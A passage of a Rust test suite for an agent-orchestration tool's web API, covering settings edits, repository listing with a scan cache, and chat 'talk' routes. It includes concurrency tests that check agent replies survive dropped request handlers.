8771        assert_eq!(v["agents"][0]["source"], "repo");
8772    }
8773
8774    #[tokio::test]
8775    async fn settings_get_reports_a_config_that_does_not_parse() {
8776        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8777        let f = Fixture::with_repo_and_machine(repo, machine).await;
8778        let res = f.get("/api/settings").await;
8779        assert_eq!(res.status, 200, "{}", res.body);
8780        let v = res.json();
8781        assert!(v["error"]["message"].is_string(), "{v}");
8782        assert!(
8783            v["error"]["path"]
8784                .as_str()
8785                .is_some_and(|p| p.ends_with("magi.toml")),
8786            "{v}"
8787        );
8788        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8789    }
8790
8791    #[tokio::test]
8792    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8793        let (_tmp, repo, machine) = settings_dirs(
8794            SETTINGS_AGENTS,
8795            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
8796        );
8797        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8798        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8799        let rev = f.get("/api/settings").await.json()["revision"]
8800            .as_str()
8801            .expect("revision")
8802            .to_owned();
8803        let body = serde_json::json!({
8804            "revision": rev,
8805            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8806        })
8807        .to_string();
8808        let res = f.put("/api/settings/roles", &body).await;
8809        assert_eq!(res.status, 200, "{}", res.body);
8810        let text = std::fs::read_to_string(&machine).expect("machine");
8811        assert_eq!(
8812            text,
8813            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8814        );
8815        assert_eq!(
8816            std::fs::read(repo.join("magi.toml")).expect("read"),
8817            repo_before
8818        );
8819        let again = f.get("/api/settings").await.json();
8820        let judges = again["roles"]
8821            .as_array()
8822            .expect("roles")
8823            .iter()
8824            .find(|r| r["key"] == "judges")
8825            .expect("judges")
8826            .clone();
8827        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8828        // The old revision is now stale.
8829        let stale = f.put("/api/settings/roles", &body).await;
8830        assert_eq!(stale.status, 409, "{}", stale.body);
8831    }
8832
8833    #[tokio::test]
8834    async fn settings_counts_are_reported_and_saved() {
8835        let (_tmp, repo, machine) = settings_dirs(
8836            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8837            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8838        );
8839        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8840        let v = f.get("/api/settings").await.json();
8841        let count = |v: &serde_json::Value, k: &str| {
8842            v["roles"]
8843                .as_array()
8844                .and_then(|r| r.iter().find(|x| x["key"] == k))
8845                .map(|x| x["count"].clone())
8846                .unwrap_or_else(|| panic!("no role {k}: {v}"))
8847        };
8848        let imp = count(&v, "implementers");
8849        assert_eq!(imp["value"], 2);
8850        assert_eq!(imp["source"], "machine");
8851        assert_eq!(imp["file_key"], "candidates");
8852        assert_eq!(imp["roster_len"], 2);
8853        assert_eq!(imp["backups"], 0);
8854        assert_eq!(count(&v, "judges")["source"], "default");
8855        assert_eq!(count(&v, "advisors")["min"], 0);
8856        assert_eq!(count(&v, "reviewers")["editable"], false);
8857        assert!(
8858            count(&v, "reviewers")["locked_reason"]
8859                .as_str()
8860                .is_some_and(|m| m.contains("graph.reviewers"))
8861        );
8862        assert!(count(&v, "fixer").is_null());
8863        let rev = v["revision"].as_str().expect("revision").to_owned();
8864        let body = serde_json::json!({
8865            "revision": rev,
8866            "roles": { "judges": ["b"] },
8867            "counts": { "implementers": 1, "advisors": 0 }
8868        })
8869        .to_string();
8870        let res = f.put("/api/settings/roles", &body).await;
8871        assert_eq!(res.status, 200, "{}", res.body);
8872        let text = std::fs::read_to_string(&machine).expect("machine");
8873        assert_eq!(
8874            text,
8875            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
8876        );
8877        let after = f.get("/api/settings").await.json();
8878        assert_eq!(count(&after, "implementers")["value"], 1);
8879        assert_eq!(count(&after, "implementers")["backups"], 1);
8880        assert_eq!(count(&after, "advisors")["value"], 0);
8881        let before = std::fs::read_to_string(&machine).expect("machine");
8882        let rev = after["revision"].as_str().expect("revision").to_owned();
8883        for counts in [
8884            serde_json::json!({ "judges": 0 }),
8885            serde_json::json!({ "judges": "x" }),
8886            serde_json::json!({ "judges": 2.5 }),
8887            serde_json::json!({ "judges": -1 }),
8888            serde_json::json!({ "reviewers": 3 }),
8889            serde_json::json!({ "bogus": 3 }),
8890        ] {
8891            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
8892            let res = f.put("/api/settings/roles", &body).await;
8893            assert_eq!(res.status, 422, "{counts}: {}", res.body);
8894            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
8895        }
8896    }
8897
8898    #[tokio::test]
8899    async fn settings_put_refuses_without_touching_the_file() {
8900        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8901        let (_tmp, repo, machine) = settings_dirs(
8902            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8903            Some(machine_text),
8904        );
8905        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8906        let rev = f.get("/api/settings").await.json()["revision"]
8907            .as_str()
8908            .expect("revision")
8909            .to_owned();
8910        for roles in [
8911            serde_json::json!({ "judges": ["nope"] }),
8912            serde_json::json!({ "reviewers": ["b"] }),
8913            serde_json::json!({ "bogus": ["a"] }),
8914        ] {
8915            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8916            let res = f.put("/api/settings/roles", &body).await;
8917            assert_eq!(res.status, 422, "{roles}: {}", res.body);
8918            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8919            assert_eq!(
8920                std::fs::read_to_string(&machine).expect("machine"),
8921                machine_text
8922            );
8923        }
8924    }
8925
8926    #[tokio::test]
8927    async fn repos_list_returns_name_and_path_for_every_configured_root() {
8928        let tmp = TempDir::new().expect("tempdir");
8929        let repo = tmp.path().join("repo");
8930        std::fs::create_dir_all(&repo).expect("repo dir");
8931        let root = tmp.path().join("root");
8932        make_checkout(&root, "github.com", "yukimemi", "magi");
8933        std::fs::write(
8934            repo.join("magi.toml"),
8935            format!(
8936                "[repos]\nroots = [{:?}]\n",
8937                root.to_string_lossy().into_owned()
8938            ),
8939        )
8940        .expect("write magi.toml");
8941
8942        let f = Fixture::with_repo(repo).await;
8943        let res = f.get("/api/repos").await;
8944        assert_eq!(res.status, 200, "{}", res.body);
8945        let list = res.json();
8946        let repos = list.as_array().expect("an array");
8947        assert_eq!(repos.len(), 1);
8948        assert_eq!(repos[0]["name"], "yukimemi/magi");
8949        assert!(
8950            repos[0]["path"]
8951                .as_str()
8952                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8953            "{list}"
8954        );
8955    }
8956
8957    #[tokio::test]
8958    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8959        let tmp = TempDir::new().expect("tempdir");
8960        let repo = tmp.path().join("repo");
8961        std::fs::create_dir_all(&repo).expect("repo dir");
8962        let root = tmp.path().join("root");
8963        make_checkout(&root, "github.com", "yukimemi", "magi");
8964        std::fs::write(
8965            repo.join("magi.toml"),
8966            format!(
8967                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8968                root.to_string_lossy().into_owned()
8969            ),
8970        )
8971        .expect("write magi.toml");
8972
8973        let f = Fixture::with_repo(repo).await;
8974        let first = f.get("/api/repos").await;
8975        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8976
8977        // A second checkout appears; within the TTL the cached answer must
8978        // not notice it.
8979        make_checkout(&root, "github.com", "yukimemi", "rvpm");
8980        let second = f.get("/api/repos").await;
8981        assert_eq!(
8982            second.json().as_array().map(Vec::len),
8983            Some(1),
8984            "a fresh cache must not rescan inside the TTL"
8985        );
8986
8987        let refreshed = f.get("/api/repos?refresh=1").await;
8988        assert_eq!(
8989            refreshed.json().as_array().map(Vec::len),
8990            Some(2),
8991            "an explicit refresh must rescan even inside the TTL"
8992        );
8993    }
8994
8995    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
8996    /// string, declared straight in a repository's own `magi.toml` rather
8997    /// than the operator's real roster. No real agent CLI is spawned - `sh`
8998    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
8999    /// this is safe to run over a real HTTP round trip.
9000    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
9001
9002    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
9003    /// real `Config::discover` to find an agent - `talk::begin` resolves one
9004    /// even though it takes no turn, and `talk_say` invokes one.
9005    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
9006        let tmp = TempDir::new().expect("tempdir");
9007        let repo = tmp.path().join("repo");
9008        std::fs::create_dir_all(&repo).expect("repo dir");
9009        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9010        let f = Fixture::with_repo(repo.clone()).await;
9011        (tmp, repo, f)
9012    }
9013
9014    #[tokio::test]
9015    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
9016        let (_tmp, _repo, f) = talk_fixture().await;
9017
9018        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
9019        // is the ordinary way a phone opens a talk.
9020        let opened = f.post("/api/talks", None).await;
9021        assert_eq!(opened.status, 201, "{}", opened.body);
9022        let body = opened.json();
9023        assert_eq!(body["status"], "open");
9024        assert_eq!(
9025            body["turns"].as_array().unwrap().len(),
9026            0,
9027            "opening takes no agent turn: there is nothing yet to answer"
9028        );
9029
9030        // An explicit empty object is the same request as none at all.
9031        let also_opened = f.post("/api/talks", Some("{}")).await;
9032        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
9033
9034        let listed = f.get("/api/talks").await.json();
9035        assert_eq!(listed.as_array().unwrap().len(), 2);
9036    }
9037
9038    #[tokio::test]
9039    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
9040        let tmp = TempDir::new().expect("tempdir");
9041        let repo = tmp.path().join("repo");
9042        std::fs::create_dir_all(&repo).expect("repo dir");
9043        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
9044        std::fs::write(
9045            repo.join("magi.toml"),
9046            format!("{MOCK_AGENT_TOML}\n{second}"),
9047        )
9048        .expect("write magi.toml");
9049        let home = TempDir::new().expect("temp home");
9050        let talks = Talks::at(home.path().join("talks"));
9051        let ui = Arc::new(
9052            Ui::new(
9053                Queue::at(home.path().join("queue")),
9054                Questions::at(home.path().join("questions")),
9055                talks.clone(),
9056                home.path().join("runs"),
9057                home.path().to_path_buf(),
9058                repo.clone(),
9059            )
9060            .with_worktrees_root(home.path().join("wt")),
9061        );
9062        let cfg = config_for(&repo).await.expect("discover config");
9063        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9064        let id = talk.id.clone();
9065        let call = |agent: &str| {
9066            talk_agent(
9067                State(Arc::clone(&ui)),
9068                Path(id.clone()),
9069                Json(TalkAgent {
9070                    agent: agent.to_owned(),
9071                }),
9072            )
9073        };
9074
9075        let unknown = call("nobody").await.expect_err("unknown agent");
9076        assert_eq!(
9077            unknown.status,
9078            StatusCode::BAD_REQUEST,
9079            "{}",
9080            unknown.message
9081        );
9082
9083        {
9084            // The refused call hands its claim to a drain loop that releases
9085            // it a moment later.
9086            let mut claimed = None;
9087            for _ in 0..200 {
9088                claimed = ui.begin_talk_turn(&id).expect("claim");
9089                if claimed.is_some() {
9090                    break;
9091                }
9092                tokio::time::sleep(Duration::from_millis(10)).await;
9093            }
9094            let _busy = claimed.expect("free");
9095            let busy = call("second").await.expect_err("busy talk");
9096            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9097        }
9098        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
9099
9100        let Json(view) = call("second").await.expect("switch");
9101        assert_eq!(view.talk.agent, "second");
9102        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
9103        let saved = talks.get(&id).expect("reload");
9104        assert_eq!(saved.agent, "second");
9105        assert_eq!(saved.turns.len(), 1);
9106
9107        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9108            .await
9109            .expect("detail");
9110        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
9111        assert_eq!(roster, ["mock", "second"]);
9112
9113        let mut closed = talks.get(&id).expect("reload");
9114        talk::close(&mut closed, &talks).expect("close");
9115        let refused = call("mock").await.expect_err("closed talk");
9116        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9117    }
9118
9119    #[tokio::test]
9120    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
9121        let tmp = TempDir::new().expect("tempdir");
9122        let repo = tmp.path().join("repo");
9123        std::fs::create_dir_all(&repo).expect("repo dir");
9124        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9125        let home = TempDir::new().expect("temp home");
9126        let talks = Talks::at(home.path().join("talks"));
9127        let ui = Arc::new(
9128            Ui::new(
9129                Queue::at(home.path().join("queue")),
9130                Questions::at(home.path().join("questions")),
9131                talks.clone(),
9132                home.path().join("runs"),
9133                home.path().to_path_buf(),
9134                repo.clone(),
9135            )
9136            .with_worktrees_root(home.path().join("wt")),
9137        );
9138        let cfg = config_for(&repo).await.expect("discover config");
9139        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9140        let id = talk.id.clone();
9141        let call = |n: u8| {
9142            talk_implementers(
9143                State(Arc::clone(&ui)),
9144                Path(id.clone()),
9145                Json(TalkImplementers { implementers: n }),
9146            )
9147        };
9148
9149        for bad in [0u8, 4] {
9150            let e = call(bad).await.expect_err("out of range");
9151            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
9152        }
9153        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
9154
9155        {
9156            let mut claimed = None;
9157            for _ in 0..200 {
9158                claimed = ui.begin_talk_turn(&id).expect("claim");
9159                if claimed.is_some() {
9160                    break;
9161                }
9162                tokio::time::sleep(Duration::from_millis(10)).await;
9163            }
9164            let _busy = claimed.expect("free");
9165            let busy = call(2).await.expect_err("busy talk");
9166            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9167        }
9168
9169        let Json(view) = call(3).await.expect("switch");
9170        assert_eq!(view.talk.implementers, 3);
9171        assert!(talks.get(&id).expect("reload").implementers_dirty);
9172
9173        let mut closed = talks.get(&id).expect("reload");
9174        talk::close(&mut closed, &talks).expect("close");
9175        let e = call(2).await.expect_err("closed talk");
9176        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
9177    }
9178
9179    #[tokio::test]
9180    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
9181        let tmp = TempDir::new().expect("tempdir");
9182        let repo = tmp.path().join("repo");
9183        std::fs::create_dir_all(&repo).expect("repo dir");
9184        std::fs::write(
9185            repo.join("magi.toml"),
9186            format!(
9187                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
9188            ),
9189        )
9190        .expect("write magi.toml");
9191        let home = TempDir::new().expect("temp home");
9192        let talks = Talks::at(home.path().join("talks"));
9193        let ui = Arc::new(
9194            Ui::new(
9195                Queue::at(home.path().join("queue")),
9196                Questions::at(home.path().join("questions")),
9197                talks.clone(),
9198                home.path().join("runs"),
9199                home.path().to_path_buf(),
9200                repo.clone(),
9201            )
9202            .with_worktrees_root(home.path().join("wt")),
9203        );
9204        let cfg = config_for(&repo).await.expect("discover config");
9205        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9206        let id = talk.id.clone();
9207        let call = |persona: &str| {
9208            talk_persona(
9209                State(Arc::clone(&ui)),
9210                Path(id.clone()),
9211                Json(TalkPersona {
9212                    persona: persona.to_owned(),
9213                }),
9214            )
9215        };
9216
9217        let unknown = call("nobody").await.expect_err("unknown persona");
9218        assert_eq!(
9219            unknown.status,
9220            StatusCode::BAD_REQUEST,
9221            "{}",
9222            unknown.message
9223        );
9224
9225        {
9226            let mut claimed = None;
9227            for _ in 0..200 {
9228                claimed = ui.begin_talk_turn(&id).expect("claim");
9229                if claimed.is_some() {
9230                    break;
9231                }
9232                tokio::time::sleep(Duration::from_millis(10)).await;
9233            }
9234            let _busy = claimed.expect("free");
9235            let busy = call("rei").await.expect_err("busy talk");
9236            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9237        }
9238        assert_eq!(talks.get(&id).expect("reload").persona, "");
9239
9240        let Json(view) = call("gendo").await.expect("switch to a configured persona");
9241        assert_eq!(view.talk.persona, "gendo");
9242        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
9243
9244        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9245            .await
9246            .expect("detail");
9247        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
9248        assert_eq!(ids.first(), Some(&"default"));
9249        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
9250
9251        let Json(view) = call("default").await.expect("back to default");
9252        assert_eq!(view.talk.persona, "");
9253
9254        let mut closed = talks.get(&id).expect("reload");
9255        talk::close(&mut closed, &talks).expect("close");
9256        let refused = call("rei").await.expect_err("closed talk");
9257        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9258    }
9259
9260    #[tokio::test]
9261    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
9262        let f = Fixture::start().await;
9263        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
9264        let queue = f.queue();
9265        let mut mine = Task::new(
9266            "rename the loader".to_owned(),
9267            "rename the loader".to_owned(),
9268            PathBuf::from("/repo/magi"),
9269            Source::Agent {
9270                run: talk_id.clone(),
9271                node: "chat".to_owned(),
9272            },
9273        );
9274        queue.put(&mut mine).expect("file the task");
9275        let mut theirs = Task::new(
9276            "unrelated".to_owned(),
9277            "unrelated".to_owned(),
9278            PathBuf::from("/repo/magi"),
9279            Source::Human,
9280        );
9281        queue.put(&mut theirs).expect("file the task");
9282
9283        let res = f.get(&format!("/api/talks/{talk_id}")).await;
9284        assert_eq!(res.status, 200, "{}", res.body);
9285        let body = res.json();
9286        assert_eq!(
9287            body["status"], "open",
9288            "filing a task does not close a talk"
9289        );
9290        let tasks = body["tasks"].as_array().expect("tasks array");
9291        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
9292        assert_eq!(tasks[0]["id"], mine.id);
9293    }
9294
9295    #[tokio::test]
9296    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
9297        let (_tmp, _repo, f) = talk_fixture().await;
9298        let id = f.post("/api/talks", None).await.json()["id"]
9299            .as_str()
9300            .expect("id")
9301            .to_owned();
9302
9303        let res = f
9304            .post(
9305                &format!("/api/talks/{id}/say"),
9306                Some(r#"{"text":"what does the queue module do?"}"#),
9307            )
9308            .await;
9309        assert_eq!(res.status, 202, "{}", res.body);
9310        let queued = res.json();
9311        let turns = queued["turns"].as_array().expect("turns array");
9312        assert_eq!(
9313            turns.len(),
9314            1,
9315            "the answer reflects only what is on disk the instant it is sent, \
9316             before the agent's turn - which can run for the whole of \
9317             `[graph] timeout_talk` - has a chance to land: {queued}"
9318        );
9319        assert_eq!(turns[0]["who"], "operator");
9320        assert_eq!(turns[0]["body"], "what does the queue module do?");
9321        assert_eq!(
9322            queued["thinking"], true,
9323            "the accepted response exposes the background turn claim: {queued}"
9324        );
9325
9326        let mut turns_after = 1;
9327        for _ in 0..SETTLE_STEPS {
9328            let detail = f.get(&format!("/api/talks/{id}")).await.json();
9329            turns_after = detail["turns"].as_array().expect("turns array").len();
9330            if turns_after == 2 {
9331                break;
9332            }
9333            tokio::time::sleep(Duration::from_millis(10)).await;
9334        }
9335        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
9336    }
9337
9338    /// A phone that reloads mid-request drops `talk_say`'s whole handler
9339    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
9340    /// guards against: `talk::record` used to return, and only *then* did the
9341    /// handler make a second, separate disk round trip before spawning the
9342    /// agent's reply task. A future dropped in that gap left a message
9343    /// recorded on disk with no reply task ever started and no way back short
9344    /// of a fresh message - and the gap was not even the whole story: *any*
9345    /// `.await` in this handler, including the very first one, is a point
9346    /// where a drop can land after the awaited work already finished but
9347    /// before this handler's own code resumes to act on it. `record` now
9348    /// runs inside the task `tokio::spawn` hands to the runtime before this
9349    /// handler ever awaits anything of its own again, so there is nothing
9350    /// left in *this* handler's future for a disconnect to interrupt between
9351    /// the message landing on disk and the reply task starting.
9352    ///
9353    /// A real socket disconnect cannot be relied on to land in the old gap
9354    /// from a test - over loopback, `talk_say` typically finishes before the
9355    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
9356    /// same failure mode directly: it drops the task's future at whatever
9357    /// point it has reached, exactly what axum does to the handler future,
9358    /// without needing to win a real network race. Sweeping the delay before
9359    /// aborting samples a range of points the task's execution can be at,
9360    /// including where the old code sat waiting on its second disk round
9361    /// trip - confirmed by reverting this fix locally and watching this same
9362    /// sweep catch a talk stuck with the operator's turn recorded and no
9363    /// reply ever following.
9364    #[tokio::test]
9365    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9366        let tmp = TempDir::new().expect("tempdir");
9367        let repo = tmp.path().join("repo");
9368        std::fs::create_dir_all(&repo).expect("repo dir");
9369        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9370        let home = TempDir::new().expect("temp home");
9371        let talks = Talks::at(home.path().join("talks"));
9372        let ui = Arc::new(
9373            Ui::new(
9374                Queue::at(home.path().join("queue")),
9375                Questions::at(home.path().join("questions")),
9376                talks.clone(),
9377                home.path().join("runs"),
9378                home.path().to_path_buf(),
9379                repo.clone(),
9380            )
9381            .with_worktrees_root(home.path().join("wt")),
9382        );
9383        let cfg = config_for(&repo).await.expect("discover config");
9384
9385        for delay in 0..40u32 {
9386            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9387            let id = talk.id.clone();
9388
9389            let handler = tokio::spawn(talk_say(
9390                State(Arc::clone(&ui)),
9391                Path(id.clone()),
9392                Ok(Json(NewTalkTurn {
9393                    text: "what does the queue module do?".to_owned(),
9394                    attachments: Vec::new(),
9395                })),
9396            ));
9397            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9398            handler.abort();
9399            // Wait out the abort so the next iteration's talk does not race
9400            // this one's still-unwinding turn guard.
9401            let _ = handler.await;
9402
9403            let mut turns = 0;
9404            for _ in 0..SETTLE_STEPS {
9405                if let Ok(fresh) = talks.get(&id) {
9406                    turns = fresh.turns.len();
9407                    if turns != 1 {
9408                        break;
9409                    }
9410                }
9411                tokio::time::sleep(Duration::from_millis(10)).await;
9412            }
9413            assert_ne!(
9414                turns, 1,
9415                "delay {delay}: talk {id} recorded the operator's turn but \
9416                 the agent never answered - the reply task was never \
9417                 started after the handler future was dropped"
9418            );
9419        }
9420    }
9421
9422    /// The same drop, landing on `talk_say`'s other durable write.
9423    ///
9424    /// When a turn is already running, the busy branch persists the
9425    /// operator's text as a queued draft and then reclaims the turn slot if
9426    /// the holder gave it up in the meantime - and whoever reclaims owes that
9427    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
9428    /// which finishes whether or not the future awaiting it is still there,
9429    /// so a handler dropped at that `.await` used to leave the draft written
9430    /// to disk with the reclaimed guard dropped unread and no drainer ever
9431    /// started: the message sat queued until some unrelated later `say`
9432    /// happened to pick it up.
9433    ///
9434    /// This used to drive the handler future by hand, polling it a fixed
9435    /// number of times to park it at the `.await` where it asks for the turn
9436    /// and finds it busy, before the reclaim's slot-free case could be set up
9437    /// underneath it. That assumed a fixed number of polls lands at a fixed
9438    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
9439    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
9440    /// poll, so any number of this handler's several `blocking` awaits can
9441    /// collapse into one poll under load, landing the drive somewhere other
9442    /// than intended - including, occasionally, straight past the handler's
9443    /// own completion, which made polling it again panic with "async fn
9444    /// resumed after completion". No poll count fixes that; the handler's
9445    /// progress simply is not something a caller outside it can observe by
9446    /// counting.
9447    ///
9448    /// [`BusyQueueGate`] replaces the poll count with a real stop point
9449    /// inside the write itself, so the interleaving under test is pinned by
9450    /// an event instead of a guess: the gate fires only once the handler has
9451    /// actually decided `Busy` and is about to persist the draft, and it
9452    /// blocks that write until the test lets it through. Between those two
9453    /// moments the test drains the turn the handler found busy - through
9454    /// `drain_loop`, the protocol's other half - and then aborts the handler
9455    /// task outright, the same way axum drops a disconnected request's
9456    /// future. The write, and the reclaim it may do, run to completion
9457    /// regardless: they live in the `tokio::spawn` task the busy branch hands
9458    /// to the runtime before ever touching the gate, wholly independent of
9459    /// whether the handler that started it is still around - which is what
9460    /// this test is actually checking. A drainer other than that reclaim
9461    /// cannot exist here: the test's own `drain_loop` call happens before the
9462    /// gate opens, so it runs while the queue is still empty and hands the
9463    /// turn straight back rather than draining anything, closing off the
9464    /// possibility of the final assertion passing without the reclaim ever
9465    /// having done its job.
9466    #[tokio::test]
9467    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9468        let tmp = TempDir::new().expect("tempdir");
9469        let repo = tmp.path().join("repo");
9470        std::fs::create_dir_all(&repo).expect("repo dir");
9471        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9472        let home = TempDir::new().expect("temp home");
9473        let talks = Talks::at(home.path().join("talks"));
9474        let ui = Arc::new(
9475            Ui::new(
9476                Queue::at(home.path().join("queue")),
9477                Questions::at(home.path().join("questions")),
9478                talks.clone(),
9479                home.path().join("runs"),
9480                home.path().to_path_buf(),
9481                repo.clone(),
9482            )
9483            .with_worktrees_root(home.path().join("wt")),
9484        );
9485        let cfg = config_for(&repo).await.expect("discover config");
9486
9487        for attempt in 0..3u32 {
9488            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9489            let id = talk.id.clone();
9490            // A turn is already running, which is what sends `talk_say` down
9491            // the busy branch.
9492            let turn_guard = ui
9493                .begin_talk_turn(&id)
9494                .expect("claim the turn")
9495                .expect("a fresh talk owes nobody a turn");
9496
9497            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9498            let (release_tx, release_rx) = std::sync::mpsc::channel();
9499            ui.set_busy_queue_gate(BusyQueueGate {
9500                reached: reached_tx,
9501                release: release_rx,
9502            });
9503
9504            let handler = tokio::spawn(talk_say(
9505                State(Arc::clone(&ui)),
9506                Path(id.clone()),
9507                Ok(Json(NewTalkTurn {
9508                    text: "what does the queue module do?".to_owned(),
9509                    attachments: Vec::new(),
9510                })),
9511            ));
9512
9513            // Wait for the busy branch to actually reach the gate, rather
9514            // than for any fixed number of polls of anything - a bounded
9515            // wait rather than a bare `.await` so a regression that never
9516            // reaches the gate fails the test instead of hanging it.
9517            tokio::time::timeout(Duration::from_secs(5), reached_rx)
9518                .await
9519                .unwrap_or_else(|_| {
9520                    panic!(
9521                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9522                    )
9523                })
9524                .expect("the busy branch dropped the gate without using it");
9525
9526            // The turn that was running now finishes and gives the slot up
9527            // the way a real one does - through `drain_loop`, which finds
9528            // nothing queued yet (the write is still held at the gate) and
9529            // releases. The handler, parked inside `spawn_blocking` on the
9530            // other side of the gate, still believes the talk is busy -
9531            // exactly the interleaving the reclaim exists for.
9532            let running = talks.get(&id).expect("reload talk");
9533            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9534
9535            // Drop the handler future now, the way a reloading phone drops
9536            // it: suspended waiting on the busy branch's answer, having
9537            // itself made no more progress since it handed the write off.
9538            handler.abort();
9539            let _ = handler.await;
9540
9541            // Only now let the gated write proceed. It persists the draft
9542            // and reclaims the now-free slot from inside the task the busy
9543            // branch already spawned - unaffected by the handler's abort
9544            // above, since that task was independent of the handler's own
9545            // future from the moment it was spawned.
9546            let _ = release_tx.send(());
9547
9548            // A settled talk: the draft drained into an operator turn and
9549            // answered.
9550            let mut fresh = talks.get(&id).expect("reload talk");
9551            for _ in 0..SETTLE_STEPS {
9552                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9553                    break;
9554                }
9555                tokio::time::sleep(Duration::from_millis(10)).await;
9556                fresh = talks.get(&id).expect("reload talk");
9557            }
9558            assert!(
9559                fresh.pending.is_empty() && fresh.turns.len() == 2,
9560                "attempt {attempt}: talk {id} left the operator's text queued \
9561                 with no drainer - the reclaimed turn was dropped along with \
9562                 the handler future (pending {:?}, {} turns)",
9563                fresh.pending,
9564                fresh.turns.len()
9565            );
9566        }
9567    }
9568
9569    #[tokio::test]
9570    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9571        let (_tmp, _repo, f) = talk_fixture().await;
9572        let id = f.post("/api/talks", None).await.json()["id"]
9573            .as_str()
9574            .expect("id")
9575            .to_owned();
9576        let store = f.talks();
9577        let mut recovered = store.get(&id).expect("opened talk");
9578        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9579            .expect("persist pending draft without a live turn");
9580
9581        let edited = f
9582            .post(
9583                &format!("/api/talks/{id}/pending/edit"),
9584                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9585            )
9586            .await;
